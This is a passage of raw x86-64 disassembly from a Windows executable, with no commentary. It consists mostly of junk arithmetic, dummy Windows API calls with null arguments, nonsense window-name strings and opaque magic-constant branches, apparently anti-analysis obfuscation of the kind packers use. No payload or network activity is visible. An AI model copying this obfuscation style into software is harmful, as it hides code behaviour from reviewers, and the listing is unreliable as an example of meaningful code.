mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
movzx eax, word [rsp + 0xb60]
movzx ecx, word [rsp + 0xb78]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
jmp 0x1400024f3
mov rcx, qword [rsp + 0x8c18]
call fcn.1401b9aa0
nop
mov dword [rsp + 0x4254], 0xa2ef
lea rcx, [rsp + 0x267e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
nop
mov rax, qword [rsp + 0x8c98]
mov qword [rsp + 0x8d58], rax
movabs rax, 0x7a0c8c36687f33
cmp qword [rsp + 0x8d58], rax
je 0x140002533
jmp 0x1400025ac
mov eax, dword [rsp + 0x41bc]
mov ecx, dword [rsp + 0x423c]
sub ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x8cd0]
mov ecx, dword [rsp + 0x4228]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8c20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c18], rax
mov rdx, qword [rsp + 0x8d60]
mov rcx, qword [rsp + 0x8d68]
call qword [sym.imp.USER32.dll_ChildWindowFromPoint]
mov qword [rsp + 0x8c30], rax
jmp 0x1401b8f79
lea rax, [rsp + 0x8c70]
mov qword [rsp + 0x8d70], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
movsx eax, word [rsp + 0xb64]
movsx ecx, word [rsp + 0xb74]
shl eax, cl
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
xor eax, ecx
mov rcx, qword [rsp + 0x8cb0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0xb74]
movsx ecx, word [rsp + 0xb64]
sar eax, cl
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb70]
or eax, ecx
mov word [rsp + 0xb78], ax
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x423c]
mov ecx, dword [rsp + 0x41bc]
add ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8cc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c18], rax
mov rax, qword [rsp + 0x8cd0]
mov rcx, qword [rsp + 0x8c78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41d0], eax
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cc0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x41bc]
mov dword [rsp + 0x424c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb64]
add eax, ecx
mov word [rsp + 0xb68], ax
movzx eax, byte [rsp + 0x51]
and eax, 0x39
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
sub eax, ecx
mov word [rsp + 0xb70], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d78], rax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50], al
mov dword [rsp + 0x20], 0x3349
mov r9d, 0x2908
mov r8d, 0x3106
mov edx, 0x2f9
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4234], eax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb64]
add eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
mov rax, qword [0x1401e7410]
mov rcx, qword [rsp + 0x8c98]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c70], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x423c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8cc8]
mov qword [rsp + 0x8d80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d80]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x8c18], rax
mov eax, dword [rsp + 0x4204]
mov rcx, qword [rsp + 0x8c78]
mov qword [rsp + 0x8d88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d88]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb70]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb78], ax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
movsx eax, word [rsp + 0xb74]
movsx ecx, word [rsp + 0xb68]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
movsx eax, word [rsp + 0xb74]
movsx ecx, word [rsp + 0xb64]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4234], eax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x424c]
mov eax, dword [rax]
add eax, ecx
mov dword [section..data], eax
mov rax, qword [0x1401e7410]
mov rcx, qword [rsp + 0x8c98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c70], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x424c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41bc], eax
mov eax, dword [rsp + 0x41d0]
mov dword [rsp + 0x4214], eax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8cc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8c18], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
movzx eax, byte [rsp + 0x51]
add eax, 0xb4
mov byte [rsp + 0x51], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4258], eax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [0x1401e6004]
or eax, ecx
mov word [rsp + 0xb60], ax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb68]
shl eax, cl
mov word [rsp + 0xb74], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
sar eax, cl
mov word [rsp + 0xb70], ax
mov eax, dword [rsp + 0x4218]
add eax, 0x31
mov dword [rsp + 0x4218], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8d90], rax
mov rax, qword [rsp + 0x8c98]
mov rcx, qword [rsp + 0x8c70]
xor rcx, rax
mov rax, rcx
mov qword [0x1401e7410], rax
mov eax, dword [rsp + 0x424c]
mov ecx, dword [rsp + 0x41bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x423c], eax
mov rax, qword [0x1401e7410]
mov rcx, qword [rsp + 0x8c70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
mov eax, dword [rsp + 0x41d0]
mov dword [rsp + 0x4204], eax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8cc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c18], rax
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb80], ax
movzx eax, word [0x1401e6004]
movzx ecx, word [rsp + 0xb70]
sub eax, ecx
mov word [rsp + 0xb78], ax
cmp dword [rsp + 0x4218], 0xe09
jbe 0x1400025bc
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov dword [rsp + 0x425c], eax
cmp dword [rsp + 0x425c], 0x7cf0
je 0x140002b0d
cmp dword [rsp + 0x425c], 0x97d4
je 0x1401b8ea3
jmp 0x1401b8f02
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x8d98], rax
mov rax, qword [rsp + 0x8cc8]
mov rax, qword [rax]
mov qword [rsp + 0x8da0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.C:Unsolicitedunimportant_vettedInitial
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x8da8], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov dword [rsp + 0x4260], eax
cmp dword [rsp + 0x4260], 0xffffbbe4
je 0x140002b9e
cmp dword [rsp + 0x4260], 0x2e6d
je 0x140002cef
jmp 0x140002e19
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
lea r8, [rsp + 0x8db0]
mov rdx, qword [rsp + 0x8db0]
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4234], eax
lea rax, [rsp + 0x8c98]
mov qword [rsp + 0x8db8], rax
mov rax, qword [rsp + 0x8c68]
movzx eax, byte [rax]
mov byte [rsp + 0x4264], al
cmp byte [rsp + 0x4264], 0x4c
je 0x140002ccd
cmp byte [rsp + 0x4264], 0x77
je 0x140002c0f
jmp 0x140002cea
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x424c]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x41bc]
mov edx, dword [rsp + 0x423c]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140002caf
lea rdx, str.Trusted_Submarine_Kilovolt_Prosthetic
lea rcx, str.Daredevil_jetplane_Stomping
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [rsp + 0x8cf0], rax
mov rax, qword [rsp + 0x8c78]
mov ecx, dword [rsp + 0x4244]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb68]
sub eax, ecx
mov word [rsp + 0xb64], ax
mov rdx, qword [rsp + 0x8c30]
mov rcx, qword [rsp + 0x8cf0]
call qword [sym.imp.USER32.dll_IsChild]
mov dword [rsp + 0x4268], eax
jmp 0x140002ccb
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50], al
jmp 0x140002cea
movsx eax, word [rsp + 0xb68]
movsx ecx, word [rsp + 0xb64]
and eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
jmp 0x140002e19
mov rcx, qword [rsp + 0x8c30]
call qword [sym.imp.USER32.dll_GetTopWindow]
mov qword [rsp + 0x8cf0], rax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb70]
add eax, ecx
mov word [rsp + 0xb78], ax
mov rax, qword [0x1401e7410]
mov qword [rsp + 0x8dc0], rax
movabs rax, 0x7266a72a13f1c6
cmp qword [rsp + 0x8dc0], rax
je 0x140002d62
movabs rax, 0x7a5d066df90d52
cmp qword [rsp + 0x8dc0], rax
je 0x140002e00
jmp 0x140002e19
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb74]
add eax, ecx
movsx ecx, word [rsp + 0xb64]
movsx edx, word [rsp + 0xb68]
add ecx, edx
cmp eax, ecx
jne 0x140002dfe
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c68]
mov byte [rcx], al
lea rdx, [rsp + 0x8dc8]
mov ecx, 0x98
call qword [sym.imp.USER32.dll_GetGUIThreadInfo]
mov dword [rsp + 0x426c], eax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x424c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x423c], eax
mov rax, qword [rsp + 0x8da0]
mov rcx, qword [rsp + 0x8c18]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
jmp 0x140002e19
mov eax, dword [rsp + 0x4244]
mov ecx, dword [rsp + 0x41b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4204], eax
cmp dword [rsp + 0x4224], 0xe904
je 0x140003013
mov rax, qword [rsp + 0x8c98]
mov rcx, qword [rsp + 0x8c70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
mov edx, 0x5687f
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4238], eax
movzx eax, byte [rsp + 0x51]
or eax, 4
mov byte [rsp + 0x51], al
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb64]
sar eax, cl
mov word [rsp + 0xb68], ax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8cb0]
mov byte [rcx], al
movzx eax, word [rsp + 0xb60]
movzx ecx, word [0x1401e6004]
xor eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
movzx eax, word [rsp + 0xb70]
movzx ecx, word [rsp + 0xb78]
and eax, ecx
mov word [0x1401e6004], ax
lea rcx, [rsp + 0x26818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x8cd0]
mov eax, dword [rax]
mov dword [rsp + 0x4244], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4258], eax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [0x1401e7410]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8c18]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8da0], rax
mov eax, dword [rsp + 0x424c]
mov ecx, dword [rsp + 0x41bc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x423c], eax
mov rax, qword [rsp + 0x8cc0]
mov rcx, qword [rsp + 0x8db8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8cc0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4238], eax
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50], al
mov eax, dword [rsp + 0x4224]
add eax, 0x35
mov dword [rsp + 0x4224], eax
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x8c98]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8db8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xb60]
movzx ecx, word [rsp + 0xb78]
sub eax, ecx
mov word [rsp + 0xb70], ax
jmp 0x140002e19
mov rax, qword [rsp + 0x8c18]
mov qword [rsp + 0x8dd0], rax
cmp qword [rsp + 0x8dd0], 0
je 0x140003033
jmp 0x14000310f
mov rax, qword [rsp + 0x8c18]
mov rcx, qword [rsp + 0x8da0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8c20]
mov rdx, qword [rdx]
shl rdx, cl
mov rcx, rdx
cmp rax, rcx
jb 0x1400030a6
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4258], eax
movsx eax, word [rsp + 0xb74]
movsx ecx, word [rsp + 0xb64]
xor eax, ecx
mov word [rsp + 0xb68], ax
mov rax, qword [rsp + 0x8cc0]
mov rax, qword [rax]
mov qword [rsp + 0x8dd8], rax
jmp 0x14000310d
mov rax, qword [rsp + 0x8cc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8db8]
mov qword [rsp + 0x8de0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8de0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x8d70]
mov rdx, qword [rsp + 0x8c98]
mov rcx, qword [rcx]
or rcx, rdx
cmp rax, rcx
jl 0x14000310d
mov r8d, 6
mov edx, 0xcb
mov rcx, qword [rsp + 0x8de8]
call qword [sym.imp.USER32.dll_GetMenuState]
mov dword [rsp + 0x4270], eax
jmp 0x140003169
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8da0], rax
mov eax, dword [rsp + 0x41bc]
mov ecx, dword [rsp + 0x423c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c78]
mov rcx, qword [rsp + 0x8cd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4228], eax
cmp dword [rsp + 0x422c], 0xa217
ja 0x1400032e7
movzx eax, word [rsp + 0xb70]
movzx ecx, word [rsp + 0xb78]
sub eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
lea rdx, [rsp + 0x41b4]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x41e0], eax
mov eax, dword [rsp + 0x422c]
add eax, 4
mov dword [rsp + 0x422c], eax
movsx eax, word [rsp + 0xb74]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb64], ax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb64]
add eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
sub eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x41b4], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x423c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
lea rdx, [rsp + 0x8df0]
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4238], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0x8d70]
mov rcx, qword [rsp + 0x8db8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8dd8], rax
mov eax, dword [rsp + 0x4204]
movzx ecx, al
mov eax, dword [rsp + 0x4244]
shr eax, cl
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
jmp 0x140003169
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8cc8]
mov qword [rsp + 0x8df8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8df8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8da0], rax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x50], al
movsx eax, word [rsp + 0xb74]
movsx ecx, word [rsp + 0xb68]
or eax, ecx
mov word [rsp + 0xb64], ax
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
sub eax, ecx
mov word [rsp + 0xb60], ax
movzx eax, word [rsp + 0xb78]
movzx ecx, word [rsp + 0xb60]
sub eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov eax, dword [rsp + 0x41bc]
mov ecx, dword [rsp + 0x424c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4244]
mov ecx, dword [rsp + 0x41b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d0], eax
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8dd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8cc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8c18], rax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x50]
add eax, ecx
mov rcx, qword [rsp + 0x8cb0]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
movzx eax, byte [rsp + 0x51]
sub eax, 0xd9
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
sar eax, cl
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x423c]
xor ecx, eax
mov eax, ecx
mov dword [section..data], eax
mov rax, qword [rsp + 0x8c98]
movzx ecx, al
mov rax, qword [rsp + 0x8c70]
shl rax, cl
mov rcx, qword [rsp + 0x8cc0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x41b8]
mov ecx, dword [rsp + 0x41d0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x424c], eax
mov rax, qword [rsp + 0x8da0]
mov rcx, qword [rsp + 0x8c18]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rdx, [rsp + 0x280d8]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4274], eax
mov eax, dword [rsp + 0x421c]
add eax, 0x2e
mov dword [rsp + 0x421c], eax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
movzx eax, byte [rsp + 0x51]
sub eax, 0xfc
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca0]
mov byte [rcx], al
movsx eax, word [rsp + 0xb64]
movsx ecx, word [rsp + 0xb74]
add eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb68]
add eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb70]
and eax, ecx
mov word [rsp + 0xb78], ax
mov rax, qword [rsp + 0x8c78]
mov ecx, dword [rsp + 0x4244]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4204], eax
mov eax, dword [rsp + 0x424c]
movzx ecx, al
mov eax, dword [rsp + 0x423c]
shl eax, cl
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8da0]
mov rcx, qword [rsp + 0x8c18]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x41e0], eax
mov rax, qword [rsp + 0x8c70]
mov rcx, qword [rsp + 0x8c98]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8dd8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0x8dd8]
movzx ecx, al
mov rax, qword [rsp + 0x8c98]
sar rax, cl
mov rcx, qword [rsp + 0x8d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb68]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e00], rax
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
add rcx, rax
mov rax, rcx
mov qword [0x1401e7410], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0x8ca0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x50], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x41e0], eax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8c18]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8da0], rax
mov rax, qword [rsp + 0x8db8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8dd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c70], rax
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4214]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41b8], eax
cmp dword [rsp + 0x421c], 0x521e
jne 0x1400032e7
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
mov dword [rsp + 0x4278], eax
cmp dword [rsp + 0x4278], 0
je 0x1400037fc
jmp 0x1401b8e4c
movzx eax, word [rsp + 0xb74]
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x424c]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [section..data]
mov edx, dword [rsp + 0x423c]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x140003906
movzx eax, byte [rsp + 0x51]
xor eax, 0xb7
mov byte [rsp + 0x51], al
mov eax, dword [rsp + 0x423c]
mov dword [rsp + 0x427c], eax
cmp dword [rsp + 0x427c], 0x7167
je 0x140003866
jmp 0x1400038f8
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
